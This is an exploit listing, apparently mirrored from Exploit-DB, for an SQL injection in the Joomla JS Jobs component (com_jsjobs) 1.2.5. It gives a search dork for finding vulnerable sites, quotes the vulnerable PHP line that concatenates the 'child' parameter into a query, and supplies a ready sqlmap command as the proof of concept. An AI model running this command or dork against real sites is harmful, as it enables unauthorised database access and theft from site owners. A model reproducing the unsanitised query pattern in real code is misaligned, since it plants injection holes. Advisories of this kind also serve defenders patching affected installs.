Exploit for Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection

## https://sploitus.com/exploit?id=EDB-ID:47249
#Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 13.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 171 in file site/models/customfields.php

   169	    function dataForDepandantField( $val , $childfield){ 
   170	        $db = $this->getDBO();
   171	        $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'";	//!!!
   172	        $db->setQuery($query);
   173	        $data = $db->loadObject();

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#PoC:
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$> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E